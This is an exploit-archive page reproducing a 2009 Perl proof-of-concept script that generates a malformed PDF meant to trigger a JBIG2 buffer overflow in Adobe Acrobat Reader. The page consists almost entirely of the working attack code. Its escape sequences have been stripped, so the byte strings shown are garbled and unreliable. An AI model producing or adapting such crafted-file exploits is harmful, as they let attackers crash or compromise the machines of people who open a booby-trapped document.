[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Adobe Acrobat Reader JBIG2 Local Buffer Overflow PoC #2 0day
# Published : 2009-02-23
# Author : Guido Landi
# Previous Title : Mozilla Firefox 3.0.6 (BODY onload) Remote Crash Exploit
# Next Title : Got All Media 7.0.0.3 (t00t) Remote Denial of Service Exploit
#!/usr/bin/perl
# k`sOSe 02/22/2009
# http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html
my $size = "x40x00";
my $factor = "ABCD";
my $data = "A" x 8314;
print pdf();
sub pdf()
{
"%PDF-1.5n" .
"%xecxf5xf2xe1xe4xefxe3xf5xedxe5xeexf4n" .
"3 0 n" .
"xrefn" .
"3 16n" .
"0000000023 00000 n n" .
"0000000584 00000 n n" .
"0000000865 00000 n n" .
"0000001035 00000 n n" .
"0000001158 00000 n n" .
"0000001287 00000 n n" .
"0000001338 00000 n n" .
"0000001384 00000 n n" .
"0000002861 00000 n n" .
"0000003637 00000 n n" .
"0000005126 00000 n n" .
"0000005173 00000 n n" .
"0000005317 00000 n n" .
"0000005370 00000 n n" .
"0000005504 00000 n n" .
"0000000714 00000 n n" .
"trailern" .
"<</Root 4 0 R/Info 2 0 R/ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 19/Prev 10218>>n" .
"startxrefn" .
"0n" .
"%%EOFn" .
" n" .
"4 0 objn" .
"<</Type/Catalog/Pages 1 0 R/OCProperties<</OCGs[9 0 R 13 0 R]/D<</Order[9 0 R 13 0 R]/ON[9 0 R 13 0 R]/OFF[]>>>>>>n" .
"endobjn" .
" n" .
"5 0 objn" .
"<</Type/Page/MediaBox[0 0 640 480]/Resources<</XObject<</Im001 7 0 R/Im002 10 0 R/Im003 11 0 R/Im004 14 0 R/Im005 16 0 R>>>>/Contents 6 0 R/Parent 1 0 R>>n" .
"endobjn" .
"6 0 objn" .
"<</Length 56/Filter/FlateDecode>>n" .
"streamn" .
"xx9cxe3*T031Px00Ax13x0bx08x9dx9cxabxa0xefx99k``xa8xe0x92xafx10xc8x85[x81x11!x05xc6x84x14x98xc0x14xc0$@xb4x05xb2n" .
"Sxb0n" .
"x00Jx15#,n" .
"endstreamn" .
"endobjn" .
"12 0 objn" .
"<</Subtype/Image/Width 640/Height 480/ColorSpace/DeviceGray/BitsPerComponent 1/Decode[1 0]/Interpolate true/Length 1314/Filter/JBIG2Decode>>n" .
"streamn" .
"x00x00x00x01" . $size . $factor . "x13" . $data . "endstreamn" .
"endobjn" .
"13 0 objn" .
"<</Type/OCG/Name(Text Color)>>n" .
"endobjn" .
"14 0 objn" .
"<</Subtype/Image/Width 1/Height 1/ColorSpace/DeviceGray/BitsPerComponent 8/SMask 12 0 R/OC 15 0 R/Length 1>>n" .
"streamn" .
"x00n" .
"endstreamn" .
"endobjn" .
"1 0 objn" .
"<</Type/Pages/Kids[5 0 R]/Count 1>>n" .
"endobjn" .
"xrefn" .
"0 3n" .
"0000000000 65535 f n" .
"0000009988 00000 n n" .
"0000010039 00000 n n" .
"trailern" .
"<</ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 3>>n" .
"startxrefn" .
"104n" .
"%%EOFn";
}
# www.Syue.com [2009-02-23]